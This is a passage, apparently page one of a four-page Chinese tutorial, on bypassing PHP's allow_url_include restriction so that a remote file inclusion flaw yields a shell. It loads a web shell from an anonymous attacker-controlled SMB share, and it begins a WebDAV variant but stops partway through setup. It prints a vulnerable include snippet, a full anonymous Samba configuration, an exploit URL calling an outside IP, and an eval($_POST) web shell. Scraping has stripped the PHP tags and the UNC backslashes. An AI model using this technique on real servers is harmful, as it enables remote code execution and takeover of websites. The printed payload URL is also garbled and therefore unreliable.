RFI巧用WebDAV绕过URL包含限制Getshell

来源:岁月联盟 编辑:猪蛋儿 时间:2020-03-24
    include $file;
?>
攻击原理
unc -> smb
攻击场景
当易受攻击的PHP应用程序代码尝试从攻击者控制的SMB服务器共享加载PHP Web shell时,SMB共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的SMB服务器。因此,一旦易受攻击的应用程序尝试从SMB共享访问PHP Web shell,SMB服务器将不会要求任何凭据,易受攻击的应用程序将包含Web shell的PHP代码。
环境配置
首先,重新配置PHP环境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然后,配置SMB服务器具有匿名读访问权限。
PHP环境设置
首先,在受害者主机上配置php.ini,将allow_url_fopen和allow_url_include设置为Off

然后重启服务查看phpinfo()配置是否生效

SAMBA服务器环境配置
需要使用匿名读取访问权限配置SAMBA服务器(Ubuntu18.04)
Samba是在Linux和UNIX系统上实现SMB协议的一个软件
(1)安装SAMBA服务器
apt-get install samba
(2)创建SMB共享目录和 php web shell
mkdir /var/www/html/pub/
touch /var/www/html/pub/shell.php

(3)配置新创建的SMB共享目录的权限
chmod 0555 /var/www/html/pub/
chown -R nobody:nogroup /var/www/html/pub/

(4)编辑samba配置文件 /etc/samba/smb.conf
[global]
workgroup = WORKGROUP
server string = Samba Server %v
netbios name = indishell-lab
security = user
map to guest = bad user
name resolve order = bcast host
dns proxy = no
bind interfaces only = yes
[Qftm]
path = /var/www/html/pub
writable = no
guest ok = yes
guest only = yes
read only = yes
directory mode = 0555
force user = nobody
(5)重新启动SAMBA服务器以应用配置文件/etc/samba/smb.conf中的新配置
service smbd restart
成功重新启动SAMBA服务器后,尝试访问SMB共享并确保SAMBA服务器不要求凭据。

Getshell
在环境都配置完且验证之后,利用samba目录/var/www/html/pub中共享的WebShell进行GetShell
unc->payload
http://127.0.0.1/FI/index.php?file=/192.33.6.145qftmshell.php
shell.php
 @eval($_POST['admin']);?>
蚁剑连接


SMB总结
针对smb利用的局限性,因为这种unc只能是在windows下使用,而且,smb端口(445) 在国内已经被封杀的差不多了(勒索病毒!!!),很难应用到实际中,但是其他的像webdav这种同理也是可以被包含的,且利用的价值更大。
WebDAV Bypass
WebDAV(Web 分布式创作和版本管理)是一项基于 HTTP/1.1 协议的通信协议。它扩展了HTTP/1.1 协议,在Get、Post、Put、Delete 等HTTP标准方法外添加了新方法,使应用程序可对Web Server直接读写,并支持写文件锁定(Locking)和解锁(Unlock),以及文件的版本控制。
PHP在远程匿名加载WebDAV所共享的文件时并不会对其进行拦截。
测试代码
    $file=$_GET['file'];
    include $file;
?>
攻击原理
类unc -> WebDAV
攻击场景
当易受攻击的PHP应用程序代码尝试从攻击者控制的WebDAV服务器共享加载PHP Web shell时,WebDAV共享应该允许访问该文件。攻击者需要在其上配置具有匿名浏览访问权限的WebDAV服务器。因此,一旦易受攻击的应用程序尝试从WebDAV共享访问PHP Web shell,WebDAV服务器将不会要求任何凭据,易受攻击的应用程序将包含Web shell的PHP代码。
环境配置
同SMB环境配置一样,首先,重新配置PHP环境,在php.ini文件中禁用allow_url_fopen以及allow_url_include。然后,配置WebDAV服务器。
PHP环境设置
首先,在受害者主机上配置php.ini,将allow_url_fopen和allow_url_include设置为Off

然后重启服务查看phpinfo()配置是否生效

WebDAV服务器环境配置
需要使用匿名读取访问权限配置WebDAV服务器。
1、Ubuntu18.04手动搭建WebDAV服务器
(1)安装Apache Web服务器

上一页  [1] [2] [3] [4]  下一页